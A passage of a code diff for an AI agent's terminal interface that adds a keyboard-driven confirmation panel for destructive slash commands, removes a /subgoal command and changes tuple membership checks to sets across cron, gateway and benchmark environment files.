"remember": "always", + "3": "cancel", + "cancel": "cancel", + "nevermind": "cancel", + "no": "cancel", + "n": "cancel", + } + allowed = {choice[0] for choice in choices} + normalized = aliases.get(choice_raw) + if normalized in allowed: + return normalized + if choice_raw in allowed: + return choice_raw + return None + + def _get_slash_confirm_display_fragments(self): + """Render the /new-/clear-style confirmation panel.""" + state = self._slash_confirm_state + if not state: + return [] + + title = state.get("title") or "Confirm action" + detail = state.get("detail") or "" + choices = state.get("choices") or [] + selected = state.get("selected", 0) + + def _panel_box_width(title_text: str, content_lines: list[str], min_width: int = 56, max_width: int = 86) -> int: + term_cols = shutil.get_terminal_size((100, 20)).columns + longest = max([len(title_text)] + [len(line) for line in content_lines] + [min_width - 4]) + inner = min(max(longest + 4, min_width - 2), max_width - 2, max(24, term_cols - 6)) + return inner + 2 + + def _wrap_panel_text(text: str, width: int, subsequent_indent: str = "") -> list[str]: + wrapped = textwrap.wrap( + text, + width=max(8, width), + replace_whitespace=False, + drop_whitespace=False, + subsequent_indent=subsequent_indent, + ) + return wrapped or [""] + + def _append_panel_line(lines, border_style: str, content_style: str, text: str, box_width: int) -> None: + inner_width = max(0, box_width - 2) + lines.append((border_style, "│ ")) + lines.append((content_style, text.ljust(inner_width))) + lines.append((border_style, " │\n")) + + def _append_blank_panel_line(lines, border_style: str, box_width: int) -> None: + lines.append((border_style, "│" + (" " * box_width) + "│\n")) + + preview_lines = [] + for line in detail.splitlines(): + preview_lines.extend(_wrap_panel_text(line, 72)) + for idx, (_value, label, desc) in enumerate(choices): + marker = "❯" if idx == selected else " " + preview_lines.extend(_wrap_panel_text(f"{marker} [{idx + 1}] {label} — {desc}", 72, subsequent_indent=" ")) + preview_lines.append("Type 1/2/3 or use ↑/↓ then Enter. ESC/Ctrl+C cancels.") + + box_width = _panel_box_width(title, preview_lines) + inner_text_width = max(8, box_width - 2) + detail_wrapped = [] + for line in detail.splitlines(): + detail_wrapped.extend(_wrap_panel_text(line, inner_text_width)) + choice_wrapped: list[tuple[int, str]] = [] + for idx, (_value, label, desc) in enumerate(choices): + marker = "❯" if idx == selected else " " + for wrapped in _wrap_panel_text(f"{marker} [{idx + 1}] {label} — {desc}", inner_text_width, subsequent_indent=" "): + choice_wrapped.append((idx, wrapped)) + + term_rows = shutil.get_terminal_size((100, 24)).lines + reserved_below = 6 + chrome_full = 6 + available = max(0, term_rows - reserved_below) + max_detail_rows = max(1, available - chrome_full - len(choice_wrapped)) + max_detail_rows = min(max_detail_rows, 8) + if len(detail_wrapped) > max_detail_rows: + keep = max(1, max_detail_rows - 1) + detail_wrapped = detail_wrapped[:keep] + ["… (detail truncated)"] + + lines = [] + lines.append(('class:approval-border', '╭' + ('─' * box_width) + '╮\n')) + _append_panel_line(lines, 'class:approval-border', 'class:approval-title', title, box_width) + _append_blank_panel_line(lines, 'class:approval-border', box_width) + for wrapped in detail_wrapped: + _append_panel_line(lines, 'class:approval-border', 'class:approval-desc', wrapped, box_width) + _append_blank_panel_line(lines, 'class:approval-border', box_width) + for idx, wrapped in choice_wrapped: + style = 'class:approval-selected' if idx == selected else 'class:approval-choice' + _append_panel_line(lines, 'class:approval-border', style, wrapped, box_width) + _append_blank_panel_line(lines, 'class:approval-border', box_width) + _append_panel_line(lines, 'class:approval-border', 'class:approval-cmd', 'Type 1/2/3 or use ↑/↓ then Enter. ESC/Ctrl+C cancels.', box_width) + lines.append(('class:approval-border', '╰' + ('─' * box_width) + '╯\n')) + return lines + def _open_model_picker(self, providers: list, current_model: str, current_provider: str, user_provs=None, custom_provs=None) -> None: """Open prompt_toolkit-native /model picker modal.""" self._capture_modal_input_snapshot() @@ -6536,7 +6868,7 @@ def _handle_personality_command(self, cmd: str): # Set personality personality_name = parts[1].strip().lower() - if personality_name in ("none", "default", "neutral"): + if personality_name in {"none", "default", "neutral"}: self.system_prompt = "" self.agent = None # Force re-init if save_config_value("agent.system_prompt", ""): @@ -6944,7 +7276,7 @@ def process_command(self, command: str) -> bool: _cmd_def = _resolve_cmd(_base_word) canonical = _cmd_def.name if _cmd_def else _base_word - if canonical in ("quit", "exit"): + if canonical in {"quit", "exit"}: return False elif canonical == "help": self.show_help() @@ -7074,20 +7406,19 @@ def process_command(self, command: str) -> bool: _cprint(f" {format_session_db_unavailable()}") else: _cprint(" Usage: /title ") - else: - # Show current title and session ID if no argument given - if self._session_db: - _cprint(f" Session ID: {self.session_id}") - session = self._session_db.get_session(self.session_id) - if session and session.get("title"): - _cprint(f" Title: {session['title']}") - elif self._pending_title: - _cprint(f" Title (pending): {self._pending_title}") - else: - _cprint(" No title set. Usage: /title ") + # Show current title and session ID if no argument given + elif self._session_db: + _cprint(f" Session ID: {self.session_id}") + session = self._session_db.get_session(self.session_id) + if session and session.get("title"): + _cprint(f" Title: {session['title']}") + elif self._pending_title: + _cprint(f" Title (pending): {self._pending_title}") else: - from hermes_state import format_session_db_unavailable - _cprint(f" {format_session_db_unavailable()}") + _cprint(" No title set. Usage: /title ") + else: + from hermes_state import format_session_db_unavailable + _cprint(f" {format_session_db_unavailable()}") elif canonical == "handoff": if not self._handle_handoff_command(cmd_original): return False @@ -7252,8 +7583,6 @@ def process_command(self, command: str) -> bool: _cprint(f" No agent running; queued as next turn: {payload[:80]}{'...' if len(payload) > 80 else ''}") elif canonical == "goal": self._handle_goal_command(cmd_original) - elif canonical == "subgoal": - self._handle_subgoal_command(cmd_original) elif canonical == "skin": self._handle_skin_command(cmd_original) elif canonical == "voice": @@ -7821,7 +8150,7 @@ def _handle_goal_command(self, cmd: str) -> None: ) return - if lower in ("clear", "stop", "done"): + if lower in {"clear", "stop", "done"}: had = mgr.has_goal() mgr.clear() if had: @@ -7850,103 +8179,6 @@ def _handle_goal_command(self, cmd: str) -> None: except Exception: pass - def _handle_subgoal_command(self, cmd: str) -> None: - """Dispatch /subgoal subcommands. - - Forms: - /subgoal show the checklist - /subgoal append a user item - /subgoal complete mark item n completed - /subgoal impossible mark item n impossible - /subgoal undo revert item n to pending - /subgoal remove delete item n - /subgoal clear wipe the checklist (judge re-decomposes) - """ - parts = (cmd or "").strip().split(None, 2) - # parts[0] == "/subgoal"; remainder is what the user typed - arg = " ".join(parts[1:]).strip() if len(parts) > 1 else "" - - mgr = self._get_goal_manager() - if mgr is None: - _cprint(f" {_DIM}Goals unavailable (no active session).{_RST}") - return - - if not mgr.has_goal(): - _cprint(f" {_DIM}No active goal. Set one with /goal .{_RST}") - return - - # No args → show the checklist. - if not arg: - _cprint(f" {mgr.status_line()}") - _cprint(f" {mgr.render_checklist()}") - return - - tokens = arg.split(None, 1) - verb = tokens[0].lower() - rest = tokens[1].strip() if len(tokens) > 1 else "" - - # Action verbs operate on indices. - action_status_map = { - "complete": "completed", - "completed": "completed", - "done": "completed", - "impossible": "impossible", - "imp": "impossible", - "skip": "impossible", - "undo": "pending", - "pending": "pending", - "reset": "pending", - } - if verb in action_status_map: - if not rest: - _cprint(f" Usage: /subgoal {verb} ") - return - try: - idx = int(rest.split()[0]) - except ValueError: - _cprint(f" /subgoal {verb}: must be an integer (1-based index).") - return - try: - item = mgr.mark_subgoal(idx, action_status_map[verb]) - except (IndexError, ValueError, RuntimeError) as exc: - _cprint(f" /subgoal {verb}: {exc}") - return - _cprint(f" ✓ Item {idx} → {item.status}: {item.text}") - return - - if verb == "remove": - if not rest: - _cprint(" Usage: /subgoal remove ") - return - try: - idx = int(rest.split()[0]) - except ValueError: - _cprint(" /subgoal remove: must be an integer (1-based index).") - return - try: - removed = mgr.remove_subgoal(idx) - except (IndexError, RuntimeError) as exc: - _cprint(f" /subgoal remove: {exc}") - return - _cprint(f" ✓ Removed item {idx}: {removed.text}") - return - - if verb == "clear": - mgr.clear_checklist() - _cprint( - " ✓ Checklist cleared. The judge will re-decompose on the next turn." - ) - return - - # Otherwise: append `arg` as a user-authored checklist item. - try: - item = mgr.add_subgoal(arg) - except (ValueError, RuntimeError) as exc: - _cprint(f" /subgoal: {exc}") - return - idx = len(mgr.state.checklist) if mgr.state else 0 - _cprint(f" ✓ Added subgoal {idx}: {item.text}") - def _maybe_continue_goal_after_turn(self) -> None: """Hook run after every CLI turn. Judges + maybe re-queues. @@ -8008,7 +8240,7 @@ def _maybe_continue_goal_after_turn(self) -> None: parts = [ p.get("text", "") for p in content - if isinstance(p, dict) and p.get("type") in ("text", "output_text") + if isinstance(p, dict) and p.get("type") in {"text", "output_text"} ] last_response = "\n".join(t for t in parts if t) else: @@ -8024,11 +8256,7 @@ def _maybe_continue_goal_after_turn(self) -> None: if not last_response.strip(): return - decision = mgr.evaluate_after_turn( - last_response, - user_initiated=True, - messages=getattr(self, "conversation_history", None) or [], - ) + decision = mgr.evaluate_after_turn(last_response, user_initiated=True) msg = decision.get("message") or "" if msg: _cprint(f" {msg}") @@ -8107,7 +8335,7 @@ def _handle_footer_command(self, cmd_original: str) -> None: current = bool(footer_cfg.get("enabled", False)) fields = footer_cfg.get("fields") or ["model", "context_pct", "cwd"] - if arg in ("status", "?"): + if arg in {"status", "?"}: state = "ON" if current else "OFF" _cprint( f" {_Colors.BOLD}Runtime footer:{_Colors.RESET} {state}\n" @@ -8115,9 +8343,9 @@ def _handle_footer_command(self, cmd_original: str) -> None: ) return - if arg in ("on", "enable", "true", "1"): + if arg in {"on", "enable", "true", "1"}: new_state = True - elif arg in ("off", "disable", "false", "0"): + elif arg in {"off", "disable", "false", "0"}: new_state = False elif arg == "": new_state = not current @@ -8210,7 +8438,7 @@ def _handle_reasoning_command(self, cmd: str): arg = parts[1].strip().lower() # Display toggle - if arg in ("show", "on"): + if arg in {"show", "on"}: self.show_reasoning = True if self.agent: self.agent.reasoning_callback = self._current_reasoning_callback() @@ -8218,7 +8446,7 @@ def _handle_reasoning_command(self, cmd: str): _cprint(f" {_ACCENT}✓ Reasoning display: ON (saved){_RST}") _cprint(f" {_DIM} Model thinking will be shown during and after each response.{_RST}") return - if arg in ("hide", "off"): + if arg in {"hide", "off"}: self.show_reasoning = False if self.agent: self.agent.reasoning_callback = self._current_reasoning_callback() @@ -8680,30 +8908,24 @@ def _confirm_destructive_slash(self, command: str, detail: str) -> Optional[str] if not confirm_required: return "once" - # Render warning + prompt — single-line composer prompt, mirrors - # ``_confirm_and_reload_mcp``. - print() - print(f"⚠️ /{command} — destroys conversation state") - print() - for line in detail.splitlines(): - print(f" {line}") - print() - print(" [1] Approve Once — proceed this time only") - print(" [2] Always Approve — proceed and silence this prompt permanently") - print(" [3] Cancel — keep current conversation") - print() - raw = self._prompt_text_input("Choice [1/2/3]: ") + # Render a prompt_toolkit-native confirmation panel. This keeps option + # labels visible above the composer and avoids raw input()/EOF races with + # the running TUI. + choices = [ + ("once", "Approve Once", "proceed this time only"), + ("always", "Always Approve", "proceed and silence this prompt permanently"), + ("cancel", "Cancel", "keep current conversation"), + ] + raw = self._prompt_text_input_modal( + title=f"⚠️ /{command} — destroys conversation state", + detail=detail, + choices=choices, + ) if raw is None: print(f"🟡 /{command} cancelled (no input).") return None - choice_raw = raw.strip().lower() - if choice_raw in ("1", "once", "approve", "yes", "y", "ok"): - choice = "once" - elif choice_raw in ("2", "always", "remember"): - choice = "always" - elif choice_raw in ("3", "cancel", "nevermind", "no", "n", ""): - choice = "cancel" - else: + choice = self._normalize_slash_confirm_choice(raw, choices) + if choice is None: print(f"🟡 Unrecognized choice '{raw}'. /{command} cancelled.") return None @@ -8748,32 +8970,28 @@ def _confirm_and_reload_mcp(self, cmd_original: str = "") -> None: self._reload_mcp() return - # Render warning + prompt. Use a single-line prompt so the user - # sees the warning as output and types a response into the composer. - print() - print("⚠️ /reload-mcp — Prompt cache invalidation warning") - print() - print(" Reloading MCP servers rebuilds the tool set for this session and") - print(" invalidates the provider prompt cache. The next message will") - print(" re-send full input tokens (can be expensive on long-context or") - print(" high-reasoning models).") - print() - print(" [1] Approve Once — reload now") - print(" [2] Always Approve — reload now and silence this prompt permanently") - print(" [3] Cancel — leave MCP tools unchanged") - print() - raw = self._prompt_text_input("Choice [1/2/3]: ") + # Render warning + prompt. Use the same prompt_toolkit-native composer + # modal as destructive slash confirmations so choices stay visible. + choices = [ + ("once", "Approve Once", "reload now"), + ("always", "Always Approve", "reload now and silence this prompt permanently"), + ("cancel", "Cancel", "leave MCP tools unchanged"), + ] + raw = self._prompt_text_input_modal( + title="⚠️ /reload-mcp — Prompt cache invalidation warning", + detail=( + "Reloading MCP servers rebuilds the tool set for this session and\n" + "invalidates the provider prompt cache. The next message will\n" + "re-send full input tokens (can be expensive on long-context or\n" + "high-reasoning models)." + ), + choices=choices, + ) if raw is None: print("🟡 /reload-mcp cancelled (no input).") return - choice_raw = raw.strip().lower() - if choice_raw in ("1", "once", "approve", "yes", "y", "ok"): - choice = "once" - elif choice_raw in ("2", "always", "remember"): - choice = "always" - elif choice_raw in ("3", "cancel", "nevermind", "no", "n", ""): - choice = "cancel" - else: + choice = self._normalize_slash_confirm_choice(raw, choices) + if choice is None: print(f"🟡 Unrecognized choice '{raw}'. /reload-mcp cancelled.") return @@ -8990,7 +9208,7 @@ def _on_tool_progress(self, event_type: str, function_name: str = None, preview: if event_type == "tool.completed": self._tool_start_time = 0.0 # Print stacked scrollback line for "all" / "new" modes - if function_name and self.tool_progress_mode in ("all", "new"): + if function_name and self.tool_progress_mode in {"all", "new"}: duration = kwargs.get("duration", 0.0) is_error = kwargs.get("is_error", False) # Pop stored args from tool.started for this function @@ -10642,7 +10860,7 @@ def _get_tui_prompt_symbols(self) -> tuple[str, str]: try: from hermes_cli.profiles import get_active_profile_name profile = get_active_profile_name() - if profile not in ("default", "custom"): + if profile not in {"default", "custom"}: symbol = f"{profile} {symbol}" except Exception: pass @@ -10697,6 +10915,8 @@ def _state_fragment(style: str, icon: str, extra: str = ""): return _state_fragment("class:sudo-prompt", "🔑") if self._approval_state: return _state_fragment("class:prompt-working", "⚠") + if getattr(self, "_slash_confirm_state", None): + return _state_fragment("class:prompt-working", "⚠") if self._clarify_freetext: return _state_fragment("class:clarify-selected", "✎") if self._clarify_state: @@ -10763,6 +10983,7 @@ def _build_tui_layout_children( sudo_widget, secret_widget, approval_widget, + slash_confirm_widget=None, clarify_widget, model_picker_widget=None, spinner_widget=None, @@ -10787,6 +11008,7 @@ def _build_tui_layout_children( sudo_widget, secret_widget, approval_widget, + slash_confirm_widget, clarify_widget, model_picker_widget, spinner_widget, @@ -10816,10 +11038,9 @@ def run(self): pass self.show_banner() - - # One-line Honcho session indicator (TTY-only, not captured by agent). - # Only show when the user explicitly configured Honcho for Hermes - # (not auto-enabled from a stray HONCHO_API_KEY env var). + # Surface any active supply-chain security advisories right after the + # welcome banner. Quiet/single-query paths call this themselves. + self._show_security_advisories() # If resuming a session, load history and display it immediately # so the user has context before typing their first message. if self._resumed: @@ -10842,7 +11063,7 @@ def run(self): # see that they're running without the safety net. try: _redact_raw = os.getenv("HERMES_REDACT_SECRETS", "true") - if _redact_raw.lower() not in ("1", "true", "yes", "on"): + if _redact_raw.lower() not in {"1", "true", "yes", "on"}: self._console_print( "[bold red]⚠ Secret redaction is DISABLED[/] " f"(HERMES_REDACT_SECRETS={_redact_raw}). " @@ -10949,6 +11170,13 @@ def run(self): self._approval_deadline = 0 self._approval_lock = threading.Lock() # serialize concurrent approval prompts (delegation race fix) + # Destructive slash-command confirmation state (/new, /clear, /undo). + # These prompts are answered through the prompt_toolkit composer, not + # raw input(), so the option labels stay visible and Enter does not EOF + # the whole app. + self._slash_confirm_state = None + self._slash_confirm_deadline = 0 + # Slash command loading state self._command_running = False self._command_status = "" @@ -11040,6 +11268,20 @@ def handle_enter(event): event.app.invalidate() return + # --- Slash-command confirmation: submit typed or highlighted choice --- + if self._slash_confirm_state: + text = event.app.current_buffer.text.strip() + choices = self._slash_confirm_state.get("choices") or [] + choice = self._normalize_slash_confirm_choice(text, choices) if text else None + if choice is None: + selected = self._slash_confirm_state.get("selected", 0) + if 0 <= selected < len(choices): + choice = choices[selected][0] + self._submit_slash_confirm_response(choice or "cancel") + event.app.current_buffer.reset() + event.app.invalidate() + return + # --- /model picker modal --- if self._model_picker_state: try: @@ -11300,6 +11542,20 @@ def approval_down(event): self._approval_state["selected"] = min(max_idx, self._approval_state["selected"] + 1) event.app.invalidate() + # --- Slash-command confirmation: arrow-key navigation --- + @kb.add('up', filter=Condition(lambda: bool(self._slash_confirm_state))) + def slash_confirm_up(event): + if self._slash_confirm_state: + self._slash_confirm_state["selected"] = max(0, self._slash_confirm_state.get("selected", 0) - 1) + event.app.invalidate() + + @kb.add('down', filter=Condition(lambda: bool(self._slash_confirm_state))) + def slash_confirm_down(event): + if self._slash_confirm_state: + max_idx = len(self._slash_confirm_state.get("choices") or []) - 1 + self._slash_confirm_state["selected"] = min(max_idx, self._slash_confirm_state.get("selected", 0) + 1) + event.app.invalidate() + # --- /model picker: arrow-key navigation --- @kb.add('up', filter=Condition(lambda: bool(self._model_picker_state))) def model_picker_up(event): @@ -11340,12 +11596,26 @@ def handler(event): _idx = 9 if _num == 0 else _num - 1 kb.add(str(_num), filter=Condition(lambda: bool(self._approval_state)))(_make_approval_number_handler(_idx)) + # Number keys for quick slash-confirm selection (1-9, 0 for 10th item) + def _make_slash_confirm_number_handler(idx): + def handler(event): + if self._slash_confirm_state and idx < len(self._slash_confirm_state.get("choices") or []): + choice = self._slash_confirm_state["choices"][idx][0] + self._submit_slash_confirm_response(choice) + event.app.current_buffer.reset() + event.app.invalidate() + return handler + + for _num in range(10): + _idx = 9 if _num == 0 else _num - 1 + kb.add(str(_num), filter=Condition(lambda: bool(self._slash_confirm_state)))(_make_slash_confirm_number_handler(_idx)) + # --- History navigation: up/down browse history in normal input mode --- # The TextArea is multiline, so by default up/down only move the cursor. # Buffer.auto_up/auto_down handle both: cursor movement when multi-line, # history browsing when on the first/last line (or single-line input). _normal_input = Condition( - lambda: not self._clarify_state and not self._approval_state and not self._sudo_state and not self._secret_state and not self._model_picker_state + lambda: not self._clarify_state and not self._approval_state and not self._slash_confirm_state and not self._sudo_state and not self._secret_state and not self._model_picker_state ) @kb.add('up', filter=_normal_input) @@ -11421,6 +11691,13 @@ def handle_ctrl_c(event): event.app.invalidate() return + # Cancel slash confirmation prompt + if self._slash_confirm_state: + self._submit_slash_confirm_response("cancel") + event.app.current_buffer.reset() + event.app.invalidate() + return + # Cancel /model picker if self._model_picker_state: self._close_model_picker() @@ -11449,16 +11726,15 @@ def handle_ctrl_c(event): self._last_ctrl_c_time = now print("\n⚡ Interrupting agent... (press Ctrl+C again to force exit)") self.agent.interrupt() + # If there's text or images, clear them (like bash). + # If everything is already empty, exit. + elif event.app.current_buffer.text or self._attached_images: + event.app.current_buffer.reset() + self._attached_images.clear() + event.app.invalidate() else: - # If there's text or images, clear them (like bash). - # If everything is already empty, exit. - if event.app.current_buffer.text or self._attached_images: - event.app.current_buffer.reset() - self._attached_images.clear() - event.app.invalidate() - else: - self._should_exit = True - event.app.exit() + self._should_exit = True + event.app.exit() # Ctrl+Shift+C: no binding needed. Terminal emulators (GNOME Terminal, # iTerm2, kitty, Windows Terminal, etc.) intercept Ctrl+Shift+C before @@ -11515,6 +11791,13 @@ def handle_ctrl_q(event): event.app.invalidate() return + # Cancel slash confirmation prompt + if self._slash_confirm_state: + self._submit_slash_confirm_response("cancel") + event.app.current_buffer.reset() + event.app.invalidate() + return + # Cancel /model picker if self._model_picker_state: self._close_model_picker() @@ -11536,14 +11819,13 @@ def handle_ctrl_q(event): if self._agent_running and self.agent: print("\n⚡ Interrupting agent...") self.agent.interrupt() + elif event.app.current_buffer.text or self._attached_images: + event.app.current_buffer.reset() + self._attached_images.clear() + event.app.invalidate() else: - if event.app.current_buffer.text or self._attached_images: - event.app.current_buffer.reset() - self._attached_images.clear() - event.app.invalidate() - else: - self._should_exit = True - event.app.exit() + self._should_exit = True + event.app.exit() @kb.add('c-d') def handle_ctrl_d(event): @@ -11563,7 +11845,7 @@ def handle_ctrl_d(event): event.app.exit() _modal_prompt_active = Condition( - lambda: bool(self._secret_state or self._sudo_state) + lambda: bool(self._secret_state or self._sudo_state or self._slash_confirm_state) ) @kb.add('escape', filter=_modal_prompt_active, eager=True) @@ -11579,6 +11861,11 @@ def handle_escape_modal(event): self._sudo_state = None event.app.invalidate() return + if self._slash_confirm_state: + self._submit_slash_confirm_response("cancel") + event.app.current_buffer.reset() + event.app.invalidate() + return @kb.add('c-z') def handle_ctrl_z(event): @@ -11661,7 +11948,7 @@ def handle_voice_record(event): # Guard: don't START recording during agent run or interactive prompts if cli_ref._agent_running: return - if cli_ref._clarify_state or cli_ref._sudo_state or cli_ref._approval_state: + if cli_ref._clarify_state or cli_ref._sudo_state or cli_ref._approval_state or cli_ref._slash_confirm_state: return # Guard: don't start while a previous stop/transcribe cycle is # still running — recorder.stop() holds AudioRecorder._lock and @@ -11948,6 +12235,8 @@ def _get_placeholder(): return "type secret (hidden), Enter to submit · ESC to skip" if cli_ref._approval_state: return "" + if cli_ref._slash_confirm_state: + return "type 1/2/3, or use ↑/↓ then Enter" if cli_ref._clarify_freetext: return "type your answer here and press Enter" if cli_ref._clarify_state: @@ -11990,6 +12279,13 @@ def get_hint_text(): ('class:clarify-countdown', f' ({remaining}s)'), ] + if cli_ref._slash_confirm_state: + remaining = max(0, int(cli_ref._slash_confirm_deadline - time.monotonic())) + return [ + ('class:hint', ' type 1/2/3, or ↑/↓ to select, Enter to confirm'), + ('class:clarify-countdown', f' ({remaining}s)'), + ] + if cli_ref._clarify_state: remaining = max(0, int(cli_ref._clarify_deadline - time.monotonic())) countdown = f' ({remaining}s)' if cli_ref._clarify_deadline else '' @@ -12012,7 +12308,7 @@ def get_hint_text(): return [] def get_hint_height(): - if cli_ref._sudo_state or cli_ref._secret_state or cli_ref._approval_state or cli_ref._clarify_state or cli_ref._command_running: + if cli_ref._sudo_state or cli_ref._secret_state or cli_ref._approval_state or cli_ref._slash_confirm_state or cli_ref._clarify_state or cli_ref._command_running: return 1 # Keep a spacer while the agent runs on roomy terminals, but reclaim # the row on narrow/mobile screens where every line matters. @@ -12316,6 +12612,17 @@ def _get_approval_display(): filter=Condition(lambda: cli_ref._approval_state is not None), ) + def _get_slash_confirm_display(): + return cli_ref._get_slash_confirm_display_fragments() + + slash_confirm_widget = ConditionalContainer( + Window( + FormattedTextControl(_get_slash_confirm_display), + wrap_lines=True, + ), + filter=Condition(lambda: cli_ref._slash_confirm_state is not None), + ) + # --- /model picker: display widget --- def _get_model_picker_display(): state = cli_ref._model_picker_state @@ -12461,6 +12768,7 @@ def _get_voice_status(): sudo_widget=sudo_widget, secret_widget=secret_widget, approval_widget=approval_widget, + slash_confirm_widget=slash_confirm_widget, clarify_widget=clarify_widget, model_picker_widget=model_picker_widget, spinner_widget=spinner_widget, @@ -13241,6 +13549,9 @@ def _signal_handler_q(signum, frame): _query_label = query or ("[image attached]" if single_query_images else "") if _query_label: cli.console.print(f"[bold blue]Query:[/] {_query_label}") + # Surface security advisories before the agent runs — short + # banner, doesn't depend on the welcome banner being shown. + cli._show_security_advisories() cli.chat(query, images=single_query_images or None) cli._print_exit_summary() return diff --git a/cron/jobs.py b/cron/jobs.py index a7c87d223e19..6b3bc0e66f90 100644 --- a/cron/jobs.py +++ b/cron/jobs.py @@ -664,7 +664,7 @@ def update_job(job_id: str, updates: Dict[str, Any]) -> Optional[Dict[str, Any]] # None both mean "clear the field" (restore old behaviour). if "workdir" in updates: _wd = updates["workdir"] - if _wd in (None, "", False): + if _wd in {None, "", False}: updates["workdir"] = None else: updates["workdir"] = _normalize_workdir(_wd) @@ -811,7 +811,7 @@ def mark_job_run(job_id: str, success: bool, error: Optional[str] = None, # schedule quietly goes off. See issue #16265. if job["next_run_at"] is None: kind = job.get("schedule", {}).get("kind") - if kind in ("cron", "interval"): + if kind in {"cron", "interval"}: job["state"] = "error" if not job.get("last_error"): job["last_error"] = ( @@ -855,7 +855,7 @@ def advance_next_run(job_id: str) -> bool: for job in jobs: if job["id"] == job_id: kind = job.get("schedule", {}).get("kind") - if kind not in ("cron", "interval"): + if kind not in {"cron", "interval"}: return False now = _hermes_now().isoformat() new_next = compute_next_run(job["schedule"], now) @@ -909,7 +909,7 @@ def _get_due_jobs_locked() -> List[Dict[str, Any]]: # next_run_at unset. Without this branch, such jobs are # silently skipped forever; recompute next_run_at from the # schedule so they pick up at their next scheduled tick. - if not recovered_next and kind in ("cron", "interval"): + if not recovered_next and kind in {"cron", "interval"}: recovered_next = compute_next_run(schedule, now.isoformat()) if recovered_next: recovery_kind = kind @@ -940,7 +940,7 @@ def _get_due_jobs_locked() -> List[Dict[str, Any]]: # (gateway was down and missed the window). Fast-forward to # the next future occurrence instead of firing a stale run. grace = _compute_grace_seconds(schedule) - if kind in ("cron", "interval") and (now - next_run_dt).total_seconds() > grace: + if kind in {"cron", "interval"} and (now - next_run_dt).total_seconds() > grace: # Job is past its catch-up grace window — this is a stale missed run. # Grace scales with schedule period: daily=2h, hourly=30m, 10min=5m. new_next = compute_next_run(schedule, now.isoformat()) @@ -1082,9 +1082,8 @@ def rewrite_skill_refs( new_skills.append(target) elif name in pruned_set: dropped.append(name) - else: - if name not in new_skills: - new_skills.append(name) + elif name not in new_skills: + new_skills.append(name) if not mapped and not dropped: continue diff --git a/cron/scheduler.py b/cron/scheduler.py index 90683b6cc1c6..7e39df578bb5 100644 --- a/cron/scheduler.py +++ b/cron/scheduler.py @@ -754,7 +754,7 @@ def _run_job_script(script_path: str) -> tuple[bool, str]: # shebang: the scripts dir is trusted, but keeping the interpreter # choice explicit here keeps the allowed surface small and auditable. suffix = path.suffix.lower() - if suffix in (".sh", ".bash"): + if suffix in {".sh", ".bash"}: # Resolve bash dynamically so Windows (Git Bash) and Linux/macOS # all work. On native Windows without Git for Windows installed # shutil.which returns None — fall back to a clear error rather diff --git a/environments/agentic_opd_env.py b/environments/agentic_opd_env.py index 44311f551441..c6ed88756bf2 100644 --- a/environments/agentic_opd_env.py +++ b/environments/agentic_opd_env.py @@ -264,7 +264,7 @@ def _parse_hint_result(text: str) -> tuple[int | None, str]: """Parse the judge's boxed decision and hint text.""" boxed = _BOXED_RE.findall(text) score = int(boxed[-1]) if boxed else None - if score not in (1, -1): + if score not in {1, -1}: score = None hint_matches = _HINT_RE.findall(text) hint = hint_matches[-1].strip() if hint_matches else "" diff --git a/environments/benchmarks/terminalbench_2/terminalbench2_env.py b/environments/benchmarks/terminalbench_2/terminalbench2_env.py index 0e88ac347fa8..1a76b8da61e1 100644 --- a/environments/benchmarks/terminalbench_2/terminalbench2_env.py +++ b/environments/benchmarks/terminalbench_2/terminalbench2_env.py @@ -162,7 +162,7 @@ def _normalize_tar_member_parts(member_name: str) -> list: ): raise ValueError(f"Unsafe archive member path: {member_name}") - parts = [part for part in posix_path.parts if part not in ("", ".")] + parts = [part for part in posix_path.parts if part not in {"", "."}] if not parts or any(part == ".." for part in parts): raise ValueError(f"Unsafe archive member path: {member_name}") return parts @@ -561,7 +561,7 @@ async def rollout_and_score_eval(self, eval_item: Dict[str, Any]) -> Dict: # --- 5. Verify -- run test suite in the agent's sandbox --- # Skip verification if the agent produced no meaningful output only_system_and_user = all( - msg.get("role") in ("system", "user") for msg in result.messages + msg.get("role") in {"system", "user"} for msg in result.messages ) if result.turns_used == 0 or only_system_and_user: logger.warning( @@ -919,7 +919,7 @@ async def _eval_with_semaphore(item): eval_metrics[f"eval/pass_rate_{cat_key}"] = cat_pass_rate # Store metrics for wandb_log - self.eval_metrics = [(k, v) for k, v in eval_metrics.items()] + self.eval_metrics = list(eval_metrics.items()) # ---- Print summary ---- print(f"\n{'='*60}") diff --git a/environments/benchmarks/yc_bench/yc_bench_env.py b/environments/benchmarks/yc_bench/yc_bench_env.py index 4fd22495440d..6e7be2c899bc 100644 --- a/environments/benchmarks/yc_bench/yc_bench_env.py +++ b/environments/benchmarks/yc_bench/yc_bench_env.py @@ -759,7 +759,7 @@ def emit(self, record): eval_metrics[f"eval/survival_rate_{key}"] = ps / pt if pt else 0 eval_metrics[f"eval/avg_score_{key}"] = pa - self.eval_metrics = [(k, v) for k, v in eval_metrics.items()] + self.eval_metrics = list(eval_metrics.items()) # --- Print summary --- print(f"\n{'='*60}") diff --git a/environments/hermes_base_env.py b/environments/hermes_base_env.py index ededab355f06..adefa9b7c3cf 100644 --- a/environments/hermes_base_env.py +++ b/environments/hermes_base_env.py @@ -571,7 +571,7 @@ async def collect_trajectory( # (e.g., API call failed on turn 1). No point spinning up a Modal sandbox # just to verify files that were never created. only_system_and_user = all( - msg.get("role") in ("system", "user") for msg in result.messages + msg.get("role") in {"system", "user"} for msg in result.messages ) if result.turns_used == 0 or only_system_and_user: logger.warning( diff --git a/environments/tool_context.py b/environments/tool_context.py index 550c5e851c1d..9756dadaf7c5 100644 --- a/environments/tool_context.py +++ b/environments/tool_context.py @@ -179,7 +179,7 @@ def upload_file(self, local_path: str, remote_path: str) -> Dict[str, Any]: # Ensure parent directory exists in the sandbox parent = str(_Path(remote_path).parent) - if parent not in (".", "/"): + if parent not in {".", "/"}: self.terminal(f"mkdir -p {parent}", timeout=10) # For small files, single command is fine diff --git a/gateway/config.py b/gateway/config.py index 89393f9117e6..16e2662e8191 100644 --- a/gateway/config.py +++ b/gateway/config.py @@ -28,9 +28,9 @@ def _coerce_bool(value: Any, default: bool = True) -> bool: return default if isinstance(value, str): lowered = value.strip().lower() - if lowered in ("true", "1", "yes", "on"): + if lowered in {"true", "1", "yes", "on"}: return True - if lowered in ("false", "0", "no", "off"): + if lowered in {"false", "0", "no", "off"}: return False return default return is_truthy_value(value, default=default) @@ -610,8 +610,7 @@ def from_dict(cls, data: Dict[str, Any]) -> "GatewayConfig": try: session_store_max_age_days = int(data.get("session_store_max_age_days", 90)) - if 